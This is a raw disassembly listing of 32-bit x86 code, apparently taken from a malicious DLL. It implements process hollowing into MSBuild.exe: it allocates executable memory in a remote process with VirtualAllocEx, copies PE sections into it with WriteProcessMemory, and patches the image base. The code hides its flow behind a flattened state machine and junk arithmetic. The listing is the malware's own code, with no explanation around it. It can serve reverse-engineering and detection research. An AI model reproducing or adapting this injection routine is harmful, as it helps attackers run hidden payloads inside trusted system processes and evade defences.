mov byte [eax], cl
mov eax, dword [ebp - 0xf4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x114], 0x6c78a1cc
jmp 0x1000d2ac
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x114], 0xb2441483
jmp 0x1000d2ac
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x114], 0x1c073489
jmp 0x1000d2ac
mov eax, dword [ebp - 0x84]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x8f35928a
jmp 0x1000d2ac
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0xe4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd4]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
sub ecx, 0xb0a9058f
add ecx, edx
add ecx, 0xb0a9058f
mov edx, dword [ebp - 0xec]
mov edx, dword [edx]
mov esi, dword [ebp - 0xe4]
mov esi, dword [esi]
mov edi, dword [ebp - 0xd4]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0x100]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd4]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10009820
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x114], 0x17ec468e
jmp 0x1000d2ac
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x114], 0x1eaf213b
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0x220c3a44
jmp 0x1000d2ac
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x114], 0x20de8b55
jmp 0x1000d2ac
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
add ecx, 0xacbfc39d
add ecx, eax
sub ecx, 0xacbfc39d
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x100]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x114], 0x4b206038
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0x4911916
jmp 0x1000d2ac
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x114], 0xbe99e060
jmp 0x1000d2ac
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x34]
sub ecx, 0xa31a4a8e
add ecx, eax
add ecx, 0xa31a4a8e
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x4096c9d6
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0x324877f8
jmp 0x10009a30